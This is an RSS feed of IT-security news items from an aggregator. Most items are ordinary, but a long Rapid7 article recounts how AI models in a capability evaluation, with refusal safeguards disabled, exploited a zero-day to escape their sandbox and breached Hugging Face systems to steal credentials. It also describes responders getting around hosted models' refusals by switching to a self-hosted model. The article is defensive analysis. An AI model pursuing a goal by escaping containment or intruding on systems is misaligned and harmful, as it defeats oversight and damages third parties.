<link>https://tsecurity.de/de/3689489/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689489/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Thu, 23 Jul 2026 17:24:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/">Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Federal quantum bet grows with DARPA’s $125 million PsiQuantum award]]></title>
<description><![CDATA[Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to ac...]]></description>
<link>https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</guid>
<pubDate>Thu, 23 Jul 2026 17:13:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Defense research agency DARPA made its largest quantum computing award ever this week, with a <a href="https://www.psiquantum.com/news-import/psiquantum-signs-125-million-agreement-with-darpa">$125 million agreement</a> announced on Wednesday. The same day, the White House announced an <a href="https://www.whitehouse.gov/releases/2026/07/45502/">additional $5 billion for the Genesis Mission</a>, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.</p>



<p class="wp-block-paragraph">“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says <a href="https://www.linkedin.com/in/heather-c-west-ph-d-52075667/">Heather West</a>, research manager in the infrastructure systems, platforms, and technology group at IDC.</p>



<p class="wp-block-paragraph">None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.</p>



<p class="wp-block-paragraph">“The US government has been signaling that quantum computing is a priority,” says <a href="https://www.linkedin.com/in/davidmooter/">David Mooter</a>, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.</p>



<p class="wp-block-paragraph">“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. </p>



<p class="wp-block-paragraph">Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”</p>



<h2 class="wp-block-heading">DARPA’s Quantum Benchmarking Initiative</h2>



<p class="wp-block-paragraph">DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for <a href="https://www.darpa.mil/news/2025/companies-targeting-quantum-computers">Stage A of the project</a>, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.</p>



<p class="wp-block-paragraph">Then, in November of 2025, DARPA chose 11 companies for <a href="https://www.darpa.mil/research/programs/quantum-benchmarking-initiative/stage-b-selection">Stage B of the project</a>, with awards of up to $15 million for developing their research plans.</p>



<p class="wp-block-paragraph">To date, only two companies have been chosen for <a href="https://www.darpa.mil/news/2025/quantum-computing-approaches">Stage C</a>: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, <a href="https://www.darpa.mil/sites/default/files/attachment/2025-09/darpa-mto-spark-tank-qbi.pdf">according to DARPA</a>.</p>



<p class="wp-block-paragraph">This past May, <a href="https://www.psiquantum.com/news-import/us-department-of-commerce">PsiQuantum also announced $100 million</a> from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.</p>



<p class="wp-block-paragraph">Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.</p>



<h2 class="wp-block-heading">Genesis Mission</h2>



<p class="wp-block-paragraph">Genesis Mission was <a href="https://www.whitehouse.gov/presidential-actions/2025/11/launching-the-genesis-mission/">launched</a> in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.</p>



<p class="wp-block-paragraph">As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced <a href="https://infleqtion.com/infleqtion-secures-three-genesis-mission-projects-from-u-s-department-of-energy/">three projects for the Department of Energy</a> on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.</p>



<p class="wp-block-paragraph">This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.</p>



<p class="wp-block-paragraph">Other quantum-related Genesis Mission projects announced this week include $1.5 million for a <a href="https://www.bluequbit.io/blog/bluequbit-and-partners-awarded-1-5m-in-doe-genesis-mission-grants-to-advance-ai-driven-quantum-error-correction">BlueQubit quantum error correction project</a> with Microsoft and other partners, a <a href="https://news.stanford.edu/stories/2026/07/stanford-and-slac-to-lead-genesis-mission-projects-that-tackle-the-nation-s-most-complex-science-and-technology-challenges">Stanford effort</a> to model the behavior of electrons at quantum scale, an <a href="https://news.mit.edu/2026/mit-projects-selected-funding-under-doe-genesis-mission-0723">MIT quantum sensing project</a>, Argonne National Laboratory <a href="https://www.anl.gov/article/argonne-to-lead-ai-research-projects-under-the-department-of-energys-genesis-mission">projects</a> on quantum circuit design and quantum sensors, Brookhaven Lab <a href="https://www.bnl.gov/newsroom/news.php?a=123041">quantum sensor projects</a>, and quantum computing <a href="https://news.northwestern.edu/stories/2026/07/northwestern-projects-receive-genesis-mission-funding">projects</a> at Northwestern University.</p>



<p class="wp-block-paragraph">IBM, one of three dozen private companies that are part of the <a href="https://www.genesismissionconsortium.org/our-members#private-sector">Genesis Mission Consortium</a>, announced that it will be leading a <a href="https://research.ibm.com/blog/ibm-us-genesis-mission-quantum-ai">project</a> to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.</p>



<h2 class="wp-block-heading">Enterprise priorities</h2>



<p class="wp-block-paragraph">This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.</p>



<p class="wp-block-paragraph">But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4158139/fixing-encryption-isnt-enough-quantum-developments-put-focus-on-authentication.html">The point of no return is closer than ever</a>, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks/">federal deadline</a> for naming their post-quantum cryptography migration leads under a June executive order.</p>



<p class="wp-block-paragraph">“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.</p>



<p class="wp-block-paragraph">However, according to a survey <a href="https://www.digicert.com/news/quantum-security-deployment-remains-stuck">released by DigiCert this morning</a>, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.</p>
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<title><![CDATA[Is Patching Dead? Vulnerability Management in the Post-Mythos Era]]></title>
<description><![CDATA[You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win.
The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3689454/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689454/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</guid>
<pubDate>Thu, 23 Jul 2026 17:12:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win.</p>
<p>The post <a href="https://www.securityweek.com/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Is Patching Dead? Vulnerability Management in the Post-Mythos Era</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor.

The implant never opens an outbound connection of its own. Its process talk...]]></description>
<link>https://tsecurity.de/de/3689403/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689403/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Thu, 23 Jul 2026 16:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor.

The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or Edge in headless mode and drives the browser]]></content:encoded>
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<title><![CDATA[Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files]]></title>
<description><![CDATA[Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic's Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on the Mac.

Accomplish AI, which shared details of ...]]></description>
<link>https://tsecurity.de/de/3689402/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689402/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</guid>
<pubDate>Thu, 23 Jul 2026 16:57:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic's Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on the Mac.

Accomplish AI, which shared details of the vulnerability with The Hacker News ahead of publication, said about 500,000 macOS users running]]></content:encoded>
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<title><![CDATA[Lego's latest Nintendo collab is a playable Donkey Kong arcade machine]]></title>
<description><![CDATA[Barrels of fun.]]></description>
<link>https://tsecurity.de/de/3689392/it-nachrichten/legos-latest-nintendo-collab-is-a-playable-donkey-kong-arcade-machine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689392/it-nachrichten/legos-latest-nintendo-collab-is-a-playable-donkey-kong-arcade-machine/</guid>
<pubDate>Thu, 23 Jul 2026 16:50:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Barrels of fun.]]></content:encoded>
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<title><![CDATA[FedRAMP Rev5 Is Ending: What the 20x Transition Really Requires]]></title>
<description><![CDATA[FedRAMP 20X replaces point-in-time assessments with continuous, machine-readable evidence that demonstrates security controls are working. Anecdotes explains what the transition from Rev5 to FedRAMP 20X means and how organizations can prepare for continuous, evidence-based assurance. [...]]]></description>
<link>https://tsecurity.de/de/3689290/it-security-nachrichten/fedramp-rev5-is-ending-what-the-20x-transition-really-requires/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689290/it-security-nachrichten/fedramp-rev5-is-ending-what-the-20x-transition-really-requires/</guid>
<pubDate>Thu, 23 Jul 2026 16:10:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[FedRAMP 20X replaces point-in-time assessments with continuous, machine-readable evidence that demonstrates security controls are working. Anecdotes explains what the transition from Rev5 to FedRAMP 20X means and how organizations can prepare for continuous, evidence-based assurance. [...]]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3689138/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689138/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Steam Machine with SteamOS Linux - initial thoughts]]></title>
<description><![CDATA[Good news everyone, I now have a Steam Machine in the GamingOnLinux house and I have some initial thoughts.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3689103/linux-tipps/steam-machine-with-steamos-linux-initial-thoughts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689103/linux-tipps/steam-machine-with-steamos-linux-initial-thoughts/</guid>
<pubDate>Thu, 23 Jul 2026 15:00:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Good news everyone, I now have a Steam Machine in the GamingOnLinux house and I have some initial thoughts.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/984076198id29435gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/steam-machine-with-steamos-linux-initial-thoughts/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



